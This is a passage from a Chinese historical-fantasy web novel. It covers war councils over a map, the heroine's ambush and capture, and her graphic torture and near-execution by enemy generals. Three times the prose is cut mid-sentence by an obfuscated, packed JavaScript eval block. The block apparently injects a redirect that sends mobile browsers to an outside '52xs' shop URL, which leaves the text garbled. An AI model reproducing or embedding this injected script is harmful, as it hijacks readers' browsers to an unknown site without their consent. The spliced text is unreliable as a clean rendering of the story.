从极北的永冻之地往南,莽原连天、一碧无垠,东西走向的玄阴山,南北走向的地皇山脉、临梁山脉,再转折西去,直至乌兰沙海,是为大宛; 伊河以北,地皇山以东,囊括燕、洺两州,怀戎、广宁、抚恩三郡,东至大海,东西向八百里、南北向一千二百里,是为北翊; 淮水以南,横跨长流江,东、南临大海,东西两千里、南北四千里,是为南翊; 西羌高原以东、九霄山以西、长流川以南,有山有林之处皆为蒙舍国土; 以西羌高原雪线为界,继续往西,六七十个种族,部落、小国无数,伐交频频——如同被冯氏统一之前的北宛各部,统称为西羌诸国; 荣国的疆域界线最为复杂:伊河以南至戎陵山脉,南北两千里、东西千里干旱平原;戎陵山脉以南、长流川以北、羌水以东、蓥山山脉以西,东西八百里、南北六百里的灵昌平原;伊河以南、淮水以北的东原道三十五城。 呈三叶草状分布的疆土,与西羌、北宛、蒙舍、南翊、北翊均有接壤,犬牙交错、纵横交叉。 “目前,东原道和英平郡隔了戎陵群山、摩云群山,仅靠一条澄洛驰道相连”,元璟蘸了丹砂,在舆图上描了一横,“以建业侯的行兵暗道为凭,英平侯沈绍宗、洛安侯萧桓,合两郡之兵,已掘出三丈宽的官道。” 太尉崔久安手持一根竹枝,蘸了石绿将东原道诸城圈起来:“这个宽度,只要不急行军已足够。只不过,五里一邮、十里一亭,龙城的讯息要传到灵昌,少说得十多天。” 冯姮点头:“从金阙传来的最新线报,建宁王正在筹备迁都。” 元承祎才五岁,眨巴着眼睛听他们商议,好容易有句听得懂的,好奇地问:“他们要把国都迁到哪儿?” 冯姮笑了:“您是陛下,您不妨想想,面对如此疆域,将国都定在何处最好?” 一直默不作声的元旭,忙蘸了靛青,在舆图上将荣国的国界重新描了一圈。 元承祎挥舞着小手,脸上有与年龄不符的肃然,思忖半晌,用指头蘸了丹砂、在舆图上画了两个圈。 “常太傅说,国都所在,须具有控制八方、长驾远驱之态;九叔公又说,凡立国都,非于大山之下,必于广川之上,高勿近阜而水用足,低勿近水而沟防省。” “这两个地方,都算得上疆域之中,四通八达。且依山傍水、地势平坦又略高于平川。” 冯姮唇角噙笑探头看去,待看清那两个地名后,收敛了笑意、肃然打量了承祎一番:“你们事先教过他了?” 座下众臣面面相觑,茫然地摇了摇头。 舆图上圈出的两座城池:奉宁、洛京。 冯姮面沉如水,缓缓道:“据线报所称,他们择定的新国都,正是奉宁。” 奉宁城,东邻英平郡、西接凤台郡、北靠郅阳郡,往西南走三百里,便是进入灵昌平原的咽喉——长达八百里的“平虞道”,可谓形胜之地、四通八达。 从地形上,南倚戎陵山脉、北有聿水,凭山负水、咽喉要地。 元璟摇头:“依臣之愚见,若迁都奉宁,有一处巨大隐患。” 他又蘸墨,在图上画了个小圈,圈中两字——金州。戎陵群山、蓥山、摩云群山、夔山、木城山,大片层峦叠嶂,皆是南翊国镇南府辖域。 崔氏据地势扼守天险,粮草供应自夏河源源不绝,如一颗毒牙,紧挨澄洛驰道、刺入荣国腹地。 冯姮:“最新的线报,建业侯已在奉宁稽留近半月。” 崔久安喟叹:“这就对了,卧榻之侧、岂容他人鼾睡。我若是建宁王,定会在迁都之前,拔掉金州军这根刺。” “听金州军斥候营传报,建宁王为修澄洛驰道,派驻了十万大军,一大半都用来防范金州军突袭。若拔掉金州军,莫说区区澄洛驰道,便是再修几条驰道,那也是易如反掌。” 元旭啧啧称奇:“荣襄王五丁开山,铺八百里平虞道;建业侯暗度陈仓,掘六百里澄洛驰道,这荣国还真是遇山开路、遇水架桥。” 元承祎:“这便是太傅说的狼贪虎视、野心勃勃么?” 冯姮缓缓摇头,唇角仍是笑着的,目光却冰冷而坚定:“陛下,这叫励精图治、自强不息,打得下是人家的本事,守不住是咱们的耻辱。” “任何一寸国土,从来没有理所当然地,当属于谁、不当属于谁——那都是邦交辞令,打得下、治得稳、守得住,才是自己的国土。” “千载之前,元氏祖宗也是如此,胼手胝足、披荆斩棘,才从莱东沿海弹丸之地,扩张为蜃洲第一大强国。滬国灭亡不满三十载,还不到两代人,怎么竟将太平盛世、当作了唾手可得之事?” 元承祎面有愧色、陷入沉思。 元旭暗自叹息,对于五岁稚子,那些话实在太过沉重,于是笑着宽慰:“胜败乃兵家常事,我等当思虑的,是如何厉兵秣马、重收河山。” 冯姮微笑点头:“陛下是一国之君,应当拿得起放得下。输了咱们就认,日后,再将失去的土地夺回便是。” “不,不止失地。”思索良久后,元承祎微微仰头,目光坚如磐石。 他重新以指蘸墨,缓缓在舆图上划过,西羌高原雪线、乌兰山、玄阴山、东部海岸线、滬南道、长流川,尽收圈内。 . 锦瑟坐在妆台前,不紧不慢卸着钗环,见苻洵正转过游廊、向卧房走来,忙刷地站起来,噔噔噔跑到门口,关门、上闩。 苻洵摸着险些被撞到的鼻子,笑了:“姐姐最近精神见长,关个门都这样有劲。” 信步走到院中,坐在石桌旁,等了一阵见屋里熄了灯,才慢慢起身向外院走去。 秦川忙迎过来:“主子,书房的被褥还没撤。” “谁说我要睡书房”,苻洵瞥了他一眼,脸上有掩饰不住的喜悦:“去拿些花雕来,今晚高兴。” 秦川瞠目结舌,觑着他脸色:“有一说一,夫人自从醒来,气性确实大了不少。” “她这是不同我见外,以前那副唯唯诺诺的样子,有什么好的”,苻洵不禁莞尔,声音略高了些,“拿些酒来,我就坐这儿慢慢喝,她几时开门,我几时进去。” 思忖片刻又说:“府里有的是好伤药,尽管用。早些养好伤去教阐儿,免得夫人还同我置气。” 锦瑟坐在床边,虽什么都看不见,可她能感知到,苻洵正坐在院中喝酒。 她心乱如麻——他再这般守下去,那俩人就不太妙了。 半个月前,苻洵途经奉宁,在刺史府住下,说是要与萧南图共商新国都的规划。 她对于屋舍道路的排布无半分兴趣,只得成日待在厢房,除了教习一下苻阐和苻忆的功课,别无它务,十分枯燥无聊。 就在此时,秦川来接苻阐和苻忆去校场习武。 秦川是白袍卫副统领,在白袍卫中武艺最高强,因为年龄小,苻洵对他颇为容让,她与秦川也算得上熟悉。 自从她同苻洵说了番为人父母的大道理,苻洵对孩子的教养还真上了心,还特特让苻阐拜了秦川作武师父。 当时,她在校场看苻阐将一柄轻刀舞得白刃纷纷,如霜似雪,十分眼热。去刀架子上挑挑拣拣,择了一柄最轻的、挥舞了几下。 秦川见她有兴致,便过来指点她身法招式,不到半个时辰,她也能堪堪将刀挽出花儿来。 秦川笑起来有两颗小虎牙,十分可爱:“比卑职初学时强多了,夫人竟有如此天分。” 她得了称赞更是起劲,直舞得秋水飞双腕,冰花散满身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14459830|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。正得意时,忽觉后背袭来一股寒气、裹得她喘不过气,三伏暑天、四周空气竟似被冻住了。 收刀回鞘时,发现周围已跪了一片,苻洵正站在离她一丈之处,直勾勾注视着她持刀的手,双目透出的狠戾令她不寒而栗。 僵持片刻,他面容缓和,唇角扬了扬,牵起她的手柔声道:“姐姐还是莫碰这些刀剑,细皮嫩肉的,割伤了可怎么是好?” 那以后,她再未见到秦川,每日来接苻阐习武的变成了郎琊。 苻阐偷偷跟她说,秦川被苻洵罚了二十鞭,后背、后腰、双腿皮肉翻卷,没一块好肉。行刑时,所有白袍卫、他们带来的仆婢全部去校场观看。 那以后,遑论再有人教习她武艺,只要她靠近武器一丈之内,都有人忙不迭在她身前跪成一排,叩拜着请求她离开,直磕得头破血流。 她跟苻洵吵了一架,这是婚后第一次。 其实,所谓吵架,也不过是她单方面在闹。自始至终,苻洵都一言不发,甚至在她怒火中烧动手时,都不闪不避,只问她手疼不疼。 她闹了半晌,跟打到棉花上一样,前所未有的憋屈和无力感充斥全身,鼻子一酸、泪水模糊了视线。 苻洵等她发泄够了,拧了张湿帕子替她擦脸,然后轻柔而坚决地说:“除了习武,别的我都可以答应。” 他的声音带着几分哽咽,令她恍惚而错愕。 她甚至不知道,自己还有什么不满足的。 无论是要风要雨要月亮要星星,但凡他能做到,全都无有不应。 荣国女子只能囿于内宅、相夫教子,可他谈论军务政务从不避讳她,只要她乐意、他甚至会与她商讨,府兵、白袍卫、所有私兵任她使唤,想外出就外出、想去哪儿玩就去哪儿玩。 他已竭尽所能,让她活得随心所欲、肆意洒脱。 她却总是隐隐感觉,自己看似花团锦簇的生活,被狠狠剜走一块,碎块不大,却极深、极要害。 可她甚至不知,那碎块是什么。 那晚,苻洵睡在了书房,这也是婚后第一次。 成婚近一月,他们从未有过真正的夫妻之实,她能感觉到他是渴求亲近的,却每每停在最后一层衣,似乎那层薄薄的衣料之下,封印着什么禁忌。 她不敢相信,这是名满京城、曾经妾侍如云,已有三子一女的浪荡子。 可明明不愿亲近,他每晚又紧紧搂着她不撒手,就算在睡梦中、也无意识地收拢手臂,似乎略微松一松,她就化成一缕烟消散了。 但她并未踌躇太久,独宿的第二夜,她听到几声布谷鸟叫,被引着走到窗前,只见明亮的月光底下,站着一身素衣的瘦小少年——端午节撞见的谢恬。 “夫人可还愿意,随我们学习飞?” 苻洵不喜卧房有人值夜,所以絮儿柳儿都睡在隔壁,若非摇铃呼唤,彻夜也是不会来的。 几乎不假思索,她翻窗跳了出去,被他们架到与刺史府一街之隔的空宅。他们说她力量太弱,需要先练习吐纳、扎马步等基本功。 很酸很累,但她甘之如饴。 其实第一次出府习武后,她的气就消了,可每夜偷跑出去习武的诱惑太大,让她忍不住将独宿的时间刻意延了些。 更漏声声,已至三更。并未如约响起鸟鸣声,也并未听到府兵的动静,她松了口气。 她拉开门走出去,院子里的合欢树下,并排搭着两张黄花梨长躺椅。苻洵斜靠在其中一张上,有一搭没一搭喝着酒,见她出门,笑得眉眼弯弯,拍了拍另一张躺椅。 “晓得姐姐在屋子里闷,这儿凉快。” 天阶夜色凉如水,她在他身边躺下,听他指着璀璨星汉说,这是牵牛星、那是织女星。 又说,金风玉露一相逢,便胜却人间无数。 129. 一寸河山一寸血 阊江南翊王宫比昇阳王宫小很多,但几座主要宫殿的规制、陈设和名称都跟昇阳一致。 元承祎端坐上书房主位,冯太后坐在他右边,元璟、崔久安分居两侧,天权跪在堂下、展开一封奏报。 “金州邸报,请虎符,调五千武卒,五万精兵。” 冯姮神色平静无澜,淡淡地问:“苻洵有何动作?” 天权道:“有线报称,苻洵近期开始从北三郡调兵,主要为玄甲营和步兵。” 崔久安蹙了蹙眉:“那两个,前段时间不是失联了么?” 天权:“他们上个月在灵昌,如今的灵昌,五城兵马司和内三卫全是建宁王的旧部,几乎传不出什么消息。” 崔久安摇头:“若真是出动玄甲营,在英平郡平地上,莫说五万、就是十五万精兵,也能打得有来有回的。” 天权头埋得更低,双手举起密信呈了上去:“详细布署在此,请陛下过目。” 承祎吃力地从头读到尾,面带疑惑看向冯姮。冯姮接过来看了一半,眉眼显出几分恻隐:“此计谋过于毒辣下作,有伤天和。” 依次传阅给元璟、崔久安、元旭过目,元璟和崔久安交换过眼神,点了点头,同时起身道:“太后娘娘,成大事者不拘小节。从永平七年,苻洵与冯栩勾结开始,这场战争就已经没什么底线了。” 冯姮沉吟半晌,看向年幼失怙的承祎,再将目光逐个扫过元璟和崔久安,长叹一声:“便依两位爱卿之谏,授予崔老国公虎符。” 元璟和元旭一前一后,走在春秋道上,元旭满眼不忍:“两国交战发展如斯,真是礼崩乐坏。” “礼?当今世道还有什么礼,只有强则强、弱则亡”,元璟冷笑,声音掷地有声,“一寸河山一寸血,同样是人,可以有男人的血、青壮的血,为何不能有妇人的血、稚子的血?” . 奉宁刺史府门口,苻洵一边指挥人往车上搬东西,一边劝阻:“澄洛驰道才初具雏形,石头都还没铺,何不缓缓,等路面好些再去?” 锦瑟和苻阐都穿着粗布麻衣,走下台阶:“我等得,曲老先生等不得。” 苻洵跟了两步,征询着问:“那多带些仆婢,再把白袍卫带上?” 锦瑟停住脚步,正色道:“曲先生既不愿为荣臣,我这样呼奴唤婢、前呼后拥去拜访,能成才怪。” 苻洵无奈道:“人家既不愿意教,咱们何必非要上赶着?宫学里没得教习了?” 锦瑟回头戏谑地盯着他:“宫学里尽是些宗室子弟,他们是如何读书的,你比我清楚……” 苻洵回想起当年与宗室子弟游手好闲的日子,后知后觉有些羞赧。 锦瑟笑了笑,语气软了:“何况,你如今担着要职,里头那些孩子定是围着阐儿奉承,能学到些什么真本事?” “曲雍和先生乃当世大儒,性情曲高和寡,听说当年请他入碧宁书院、颇费工夫。阐儿的资质这般好,若无名师授业解惑,岂非暴殄天物。如今东原道改天换日,曲先生执意辞去书院教习之职,他梅妻鹤子、孑然一身,咱们若不跑得快些,怕是影子都追不上了。” 苻洵噎了半晌,含笑行礼:“姐姐言之有理,阐儿的教养大事便托付给姐姐了。” 推拉半晌,锦瑟只带上年过四旬的李嬷嬷、外加鞭伤未愈的秦川,其余车夫、家丁十来人,乘坐牛车扬鞭而去。 萧南图走过来,啧啧称赞:“身为嫡母,对待庶子竟能如此思虑长远、尽心竭力,又舍得下颜面、肯扮穷示弱,侯爷这正室娶得极好啊。” 苻洵眼神一黯,浅笑:“她一直都很好。” 目送车队,直到远得看不见了,才回过神:“兵马还有十天就到齐,粮草备得如何了?” 萧南图有些忧虑:“听闻金州军在山中布下了无数木石阵。” 苻洵:“这么一大片山林,他们不可能到处都布上,从奉宁过去已探出一条捷径。” “金州军辖域太大,一时半会儿吃不下,先把戎陵群山这边崔玄礼料理干净。控制了戎陵群山,可随时发兵夏河,从水路断了金州军的粮草。” . 澄洛驰道,五里一邮、十里一亭、二十里一铺、三十里一驿。 从奉宁出发、过英平郡澄阳县,便已深入戎陵山脉腹地。尘泥四溅的驰道颠颠簸簸,道旁是齐崖挖断的山脚,露出整齐的石块断面和泥。 当年苻洵挖掘的地底行兵暗道,大部分穿越的是邻近山脚的山体。打下东原道之后,苻洵多次入戎陵山,费时弥久,将驰道沿途十里之内的木石阵一一破解,大军才得以从地面开掘。 这夜,一行人宿在入山约两百里的新兴驿,说是驿站,只用木头和稻草搭成几间棚屋。好在苻洵提前招呼过,驿丞早已备下干净的水、蔬果和粟米,柴薪火烛之物也还丰裕。 昏黄的灯烛之下,苻阐从书本中抬起头,盯着锦瑟。 “母亲,圣人说‘四战之国贵守战,负海之国贵攻战。’孩儿观列国之舆图疆域,荣国强敌环伺,为四战之国;南翊为负海之国。却为何攻守易势?” 锦瑟不知为何,十分抗拒回答这问题。但看着稚子求才若渴的双眸,心肠又软了几分,思忖半晌正欲张嘴,苻阐却突然出声。 “只因陛下与父亲正值年富力强,君臣两无猜忌,陛下大胆放权于父亲,是以每有战机、皆能被父亲敏捷捕获并加以利用;而南翊,虽国力强盛、兵多将广,又有冯太后、丞相、崔太尉等无数名臣名将披肝沥胆,却缺少一个有力的主心骨。” “而战场瞬息万变,战机稍纵即逝,待一群臣子商讨完毕,已失先机。” 锦瑟听他娓娓叙来,神魂巨震,心情又莫名沉重几分,强笑道:“阐儿说得好,是宫学教的还是父亲教的?” “都不是”,苻阐摇头,突然压低声音,伏到她耳边说,“告诉母亲一个秘密,孩儿经常梦到一位仙子姑姑。” 锦瑟哑然失笑,这父子俩怎么回事,都喜欢称呼女孩子为“仙子”,没别的词儿了么。 苻阐却不再继续看书,一眨不眨盯着她的脸:“自从母亲痊愈,似乎变了个人,先前母亲从不与阐儿谈论这些。” 锦瑟心念一动:“那阐儿觉得先前好,还是现在好?” 苻阐认真地说:“都好,先前母亲……” “砰!”门外有重物砸到地上,锦瑟只觉后脊发寒,下意识抱起苻阐就地一滚,一排羽箭穿透薄脆窗纸飙射而入,夺夺夺钉在后墙上。 她不用转头,就感觉有寒气逼近,条件反射地一脚勾起靠在书桌旁、苻阐的轻刀,顺势拔出,挽起一簇白花往身后一格挡。 一挥刀就感觉手感不对,虎口顿时被震得发麻、一线寒凉已划过右肩和后背。紧跟着,她听到断刀坠落地面的闷响。 苻阐习武用的,居然是把灌了铅、镀了银漆的木刀。 脊背开始后知后觉地剧痛,紧跟着又一刀捅来,她下意识侧身闪避,却不如想象中那般敏捷,那刀锋再度斜斜劈过她后背。 她下意识将苻阐一把推到桌底,脚尖勾向木凳,想踢飞它抵挡对方攻势。 好重,勾不动! 电光火石间,又一道寒芒自下而上,斫上劈来的刀锋,撞出一簇火花。秦川一手舞刀抵挡对方攻势,一手用力甩向窗外。 血红的传信烟花挟一声尖啸,冉冉升起,炸开千万道血红色的光亮。 “夫人,后门。” 锦瑟拉着苻阐就往后门跑,后背两道火辣辣的剧痛,她能感觉到热血喷涌,有些头晕目眩、直不起上身。她咬紧牙关,一把拉开后门…… 不远处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467870|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身披软甲的兵卒黑压压跑了满坡,都背着箭筒、弓箭、腰挂三把轻刀。而一行人之中,唯有受伤的秦川还有些战力。 眼前一阵阵发黑,她竭尽全力呼喊:“救阐儿,从前门冲出去!”将苻阐往反方向推了推。 苻阐泪流满面:“母亲,我不走。” 她扶住门框蹲了下去,感觉下一刻就要晕倒,狠下心捡起一块尖石、砸向右腿。 疼痛钻心,裤脚有血渗出来。 她冷声道:“看清楚,母亲走不了,你们再不走,我马上撞死在这墙上。” 正与两人激斗的秦川,身躯一僵,难以置信地看向她。只见她扶着门框站起来,面向洪流似的卷下山坡的兵卒,傲然高呼:“藏头露尾搞偷袭,算什么好汉,有本事报上名号!” 来不及思索,秦川一手拎起苻阐,一手挥刀冲向前门:“夫人再撑撑,援兵快到了!” 锦瑟断声呵斥:“马上回奉宁,告诉侯爷这是陷阱、不要救人,该打哪儿打哪儿!” 苻阐的嚎啕撕心裂肺,秦川已冲出去很远,抢过驿站一匹瘦马。驰马远去时,遥遥望见新兴驿腾起滔滔烈焰,火光吸引了澄洛驰道驻军的注意,他策马经过时,沿途军营正在飞速集结,往新兴驿急行军。 他错愕半天,一时竟不想不起来,夫人何时变得这样聪明果决。 . 痒,好痒! 后背两道、右肩一道豁开的刀伤皮肉翻卷,已疼得麻木了。有蚂蚁在伤口边缘啃噬,密密麻麻针扎似的,深入骨髓的痒折磨得她抓心挠肝。手被反绑着,十指屈伸、抓握了几下,地上垫着略潮的稻草。 伸了伸腿,“叽叽”两声,稻草堆蹿出几只老鼠,也不畏惧她,反而在她刀伤处啃了几口皮肉,大摇大摆钻走了。 空气里酝酿着一股腐烂的霉味,头顶有个一尺见方的小窗,洒进些月光,也单薄如纸。 看来这儿是死牢,将死之人心如劫灰,才惯得这些鼠蚁肆无忌惮。 她往墙边挪了挪,咬紧牙关、将伤口往墙上蹭去,钻心的疼猛地袭来,冲得她脑子嗡地一声,眼前发黑,但那无处不在的麻痒减轻了许多。 她强迫自己凝聚心神,之前苻洵同她闲聊军政时,她不知为何十二分不想听,左耳进右耳出。所以突袭她的是何军队,也不甚清楚。 但她在苻洵书房看见过最新的边界舆图,在这一片驻军的,除了荣国,就只有南翊。 费这样大的劲将她生擒进来,自然不是为了杀他们来报复苻洵。偌大一支军队,将主帅妻儿押上城头也无济于事,黑压压的将士看着,威胁不了谁。 最有可能是以她为饵,设下陷阱引苻洵带人来救,或是扰乱他什么部署。 凝神细听,屋外虫鸣声此起彼伏,“沙沙”碎响好似有风吹着树叶,潮气颇重,应当是在深山里、不知哪个犄角旮旯。 黑暗里,藏着无数轻微平稳的呼吸声。有人暗中窥视,还不少! 她心念一动,蹭到地梁石边,忍痛伸直手臂、在那粗钝的棱边上磨着捆手绳。 磨了不知多久,肚子空得像被火灼烧,手腕一松、绳子断了,她不顾疼痛,忙将周身摸了个遍,从胸口掏出一叠纸、塞进嘴里疯狂咀嚼。 牢门轰然大开,冲进几个彪形大汉,一左一右捏住她肩膀往下压,另有一人捏住她下颌使劲一扯,从口中掏出已被嚼得乱糟糟的纸。 下颌被卸,疼得撕心裂肺,她眼前阵阵发黑、飞洒着无数金色光点。 晕过去之前,她听见卸她下颌那大汉跑向门口,狂喜地呼喊:“娄校尉,有字和图!” 黑暗中有人说:“她是苻洵正室,指不定听到看到什么线报,快去报崔大将军,亲自审问。” 她长舒一口气,放空思绪,终于支撑不住、彻底晕了过去。 130. 孤勇 山间小径堆满落叶,踩上去又软又烂,骤雨初歇,有些湿滑。 郎琊从枝叶间腾挪跳跃着,穿梭而来:“主子,这一片方圆五十里,靠近水源的一共有五个大山坳。” 苻洵垂眸沉吟片刻,指了个方向:“戎陵山是崔玄礼在节制,此人行事谨慎。这个方向最难走,木石阵也最多。” “找到崔玄礼营寨后,照原布署,弓弩营设伏、玄甲营打头阵、北卢步兵截粮草水源、郅阳步兵围营、英平步兵打援。郎琊,你带下六卫传讯策应。” 郎琊诧异:“主子你不去了?” 苻洵未正面回应,扬声下令:“玄甲营副指挥使南宫羽听令,由你担任本战主将,节制五路精兵与白袍卫下六卫。临阵换将造成一切后果,皆由本帅自行承担!” 目送郎琊和南宫羽率先军散开在密林深处,苻洵攥紧长刀、双手因愤怒而战栗,微微仰头极目远望,眼神凛若寒霜、一分分透出狠戾。 “崔氏,这笔账我们慢慢算!” 秦川跑过来,在他身侧跪下:“主子,上三卫已集结和装备完毕。” 白袍卫九瓣芙蕖,上三卫是浮在水面、现于人前的近卫,下六卫是沉在水下、甚少有人知晓的线报机构。 苻洵深深吸气,竭力压下翻涌的戾气和痛苦,沉声道:“我有法子探知夫人的大致方位,你们都随我来,一路寻过去,掘地三尺也要把人找到。” 秦川迟疑着说:“夫人当时说,一路寻过去的话,定是有陷阱,让您……让您别救人,该怎么打就怎么打。” “何时,居然轮到她为我视死如归了?”苻洵肩膀颤动、笑出了泪水,眼神讽刺而讥诮,“该怎么打就怎么打……就让他们去打吧,他们不都去了么?” “至于陷阱——玄甲营趟不过的,白袍卫趟得过,荣国太尉不能让将士贸然犯险,苻洵却应当为夫人不计生死。” . 一桶冰水兜头泼下,锦瑟狠狠打了个激灵,醒了。 还没完全清醒,肩膀和脚踝传来剧痛,痛得泪水都下来了,哪个天杀的在捏她伤口,还塞进几撮辣椒粉。手臂被拉开、双腿并拢,被呈“十”字捆在粗砺的木质刑架上。 耳边传来阴恻恻的声音:“夫人既然醒了,何不趁着清醒,指点指点小的,该怎样招待您这位大贵人?” 暗沉的地牢,两个巨大炭盆熊熊燃烧,烙铁已烧得通红,石壁上挂着各色刑具:带倒刺的皮鞭,夹棍,薄如蝉翼的剥皮小刀,炮烙鞋,铁签子…… 她逐一扫视过去,想象着它们用在自己身上,后脊窜起一股寒意,起了一身鸡皮疙瘩。 挤出个比哭还难看的微笑,弱弱问:“可以都不用么?” 阴恻恻的声音说:“看来夫人不太懂规矩,还得小的费些功夫说道说道。” 前方传来稳重的男声:“哪那么多废话?” 她这才发现,火光幽微的暗处,大马金刀坐着一名身穿紫袍的中年男子,正慢慢揉着太阳穴、阖目假寐。应该就是他们口中的“崔大将军”。 崔大将军身边的副将走到她面前,捏住她下颌、迫使她抬头:“好一张如花似玉的脸,真真我见犹怜。”冷笑一声,从炭盆中拿起烙铁,举着吹了吹,慢慢贴向她脸颊…… 炙热的温度越靠越近,时间变得无比漫长。她抖如筛糠,忽然想到苻洵,不知他此时在哪儿,她很想跟他说:“我可是为你才毁的脸,变丑了也不许嫌弃。” 心底骤然涌起一股委屈,眼睛一闭,流下两行泪水,又苦又涩。 滚烫的热浪即将挨到脸上时,蓦地转了个方向,重重摁在她腰间。 “呲啦”白烟伴着烤肉的焦糊味充斥鼻腔,她脑子空白了片刻,灼痛从左腰蔓延到左边半个身子,还在继续深入,像是要烫进骨骼肺腑去。她疼得快窒息了,忙连连讨饶:“我说……” 崔大将军:“他们打算从哪个位置上山?” 她搜肠刮肚一番,恍惚记得苻洵跟萧南图闲聊时,让他多备些粮草在奉宁。于是她坚定地说:“枞阴县。” 副将勃然大怒:“那儿连上山的路都没有,一派胡言!” 崔大将军笑了:“这副鬼样子还有心思撒谎,有点意思……徐辉,时间还长,火候慢点。” 细如牛毛的金针,放缓速度、慢慢刺入甲盖……后脊背骤然绷紧,她感觉极致的刺痛、从指头蔓延到整只手臂,痛得想蜷缩手指、身体,紧紧蜷成一团,身躯却被绳子牢牢捆着,十指也被铁钳似的手掌硬生生撑直。 咬紧牙关已不管用,她忍不住痛呼出声,转瞬紧紧咬住下唇。徐辉见她还能忍,继续刺入第二根、第三根…下唇传来钻心疼痛,满口腥咸,嘴唇被咬破了。 她又想到苻洵,越想越委屈。想问他是否真的不管自己了,想骂他怎么还不来。过了会儿,又想跟他说,这儿很危险,还是别来了。 十根手指都麻木了,她两只手臂、上半个身子都浸在抓心挠肝的剧痛中。 她晕了过去,又被冰水泼醒,刺在指尖的针被拔出,再反复刺入… 地牢石门豁然大开,一名传令兵匆匆闯入,声音急切:“将军,咱们的营寨被玄甲营偷袭了!” . 她疼得意识昏沉,唇角略略向上弯起,很想跟苻洵说,瞧瞧我也很厉害,没有给你丢脸。 她这细微的表情,并未瞒过崔大将军如炬慧眼,他却不疾不徐笑起来:“苻洵倒是狠心,可惜了夫人佯作有情报,将本将吸引过来,又不惜大刑加身,也要替他拖住我的一片痴心。” 牢门口又传来一个男声:“大哥,我带来的五万人已经埋伏好,留了个口子,就等中军往袋子里扎呢。” 崔大将军:“老三,干得漂亮,就是我这心里总不踏实,苻洵有那么容易上当?” 崔老三:“众所周知,苻洵狠辣无情、睚眦必报。咱们绑了他妻儿,他首先想的定不是救人,而是为了颜面、押上重兵要一锅端了咱们。所以这埋伏啊,就设在那个早已撤空了的营寨周围,稳当!” 徐辉:“两位将军,既然苻洵已中计,他这夫人如何处置?” 崔大将军叹了口气:“也是个可怜的痴心人,给个痛快吧。” “大哥还是这么心软,照我说,就该千刀万剐”,崔老三走了进来:“他杀咱们那么多将士,咱们就该将他妻子先欺辱再杀掉,一报还一报。诶,这女人怎么有点眼熟……” “想起来了,前几年褚太后随庄王陛下巡军,虽说阅兵时戴着面具,可宴会时并未戴,我有幸见过几面。苻洵这夫人、相貌跟褚太后有些相似。” 锦瑟痛得又快晕过去,很想干脆利索地死去,听他这话却蓦地涌起一缕希冀:他们看在这张脸的份上,留自己一命。 死也不要紧,她只是不想就这样,孤零零死在一堆肮脏血污中。 她想还剩一口气下山去,若苻洵还有命在,她一定要好好向他哭诉,烙铁很疼、针刺指尖也很疼,让他好好哄自己一番。然后洗个澡、穿漂亮衣裙、再画个精致的妆面,多喝些止痛药,舒舒服服在睡梦中死去。 “我虽只见过褚太后几面,这一看还真的像”,崔大将军凑得近了些,“他莫不是觊觎庄王的女人?” 崔老三压低声音:“传闻当年褚太后收复武原、就是在龙骨关接的诏书,此后与冯栩对阵时,她身边有一男子颇似苻洵,这二人清白不了。无论刺杀成败与否,不殉大义、对不起庄王陛下对她的抬爱。” 崔大将军言简意赅:“既已盖棺定论,褚太后薨逝武原城。无论这女人是谁,这张脸都不该存于世间了。” 崔老三附和:“咱们合该替她体面。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14474368|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 崔大将军喟叹:“这样一张脸,死法应当干净些。” 徐辉和崔老三会意,从墙上取下一截麻绳,系了个圈、套上她的脖子,逐步收紧。 呼吸变得困难,全身的血液都涌上脸和头颅,胸口憋得闷疼、像是快要爆了,视野越来越暗。恍惚间,勒进脖颈的绳索断了,耳边一片模糊的嗡嗡声,好像很多人在争吵、打斗。 “你们两个怎么回事,站哪头?” “你们不配决定她的生死,就凭这张脸,老子救定了,谁敢动她一个试试!” “下作,为了亡者的清誉滥杀无辜,一口一个殉大义,你们怎么不自己上吊去?” “少跟他们废话,带走,谁敢阻拦,杀无赦!” “……” 声音越来越缥缈遥远,混着纷纭的刀兵互斫声、痛呼哀嚎声,有声呼喊格外清晰:“主子,找到了!” 紧跟着,温柔醇厚的声音近在耳畔:“对不起,都怪我……姐姐,我们回家。” 清润的甘甜木香,带着淡淡体温将她笼罩,她吐出辛苦悬着的那口气,放松地倒在他怀中。 . 半个时辰前,苻洵和秦川换穿软底鞋,轻步踩过积了层薄薄落叶的浅草地。苻洵不时停顿片刻,蹙眉阖眼,摁住心口,似在感应穿林而过的微风。 他们前行的方向,也在每次停顿间细微调整,一直走到大片乱石堆,苻洵忽然停下。这一次,阖目沉吟的时间更长,然后笃定地说:“就这儿,方圆三里之内。” 